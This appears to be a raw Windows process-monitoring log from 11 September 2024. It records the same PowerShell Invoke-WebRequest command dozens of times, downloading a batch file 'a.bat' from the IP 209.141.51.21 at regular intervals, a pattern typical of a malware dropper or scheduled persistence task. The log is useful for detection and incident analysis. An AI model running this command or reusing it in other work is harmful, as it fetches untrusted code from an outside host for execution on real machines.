C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 08:58:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:00:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:00:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:02:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:03:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:05:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:05:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:07:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:08:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:10:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:10:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:12:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:15:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:15:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:18:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:18:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:20:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:20:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:23:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:25:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:25:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:28:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:28:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:30:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:30:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:33:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:35:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:35:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:38:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:38:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:40:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:40:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:43:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:45:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:46:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:48:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:48:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:50:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:51:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:53:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:53:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:55:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:56:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:58:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 09:58:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:00:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:01:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:03:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:05:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:06:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:08:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:08:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:10:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:11:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:13:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:13:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:15:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:16:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:18:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:18:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:20:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:21:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:23:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:25:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:26:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:28:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:28:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:30:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:31:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:33:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:36:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:38:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:38:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:41:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:41:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:43:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:43:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:46:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:46:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:48:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:48:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:51:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:53:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:53:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:56:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:56:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:58:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 10:58:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:01:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:03:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:04:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:06:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:06:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:08:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:09:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:11:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:11:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:14:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:16:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:16:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:18:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:19:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:21:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:21:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:24:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:26:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:26:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:28:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:29:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:31:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:31:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:33:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:34:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:36:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:36:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:38:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:39:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:41:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:41:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:44:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:44:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:46:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 11:46:48 NOTIFY: PROCESS 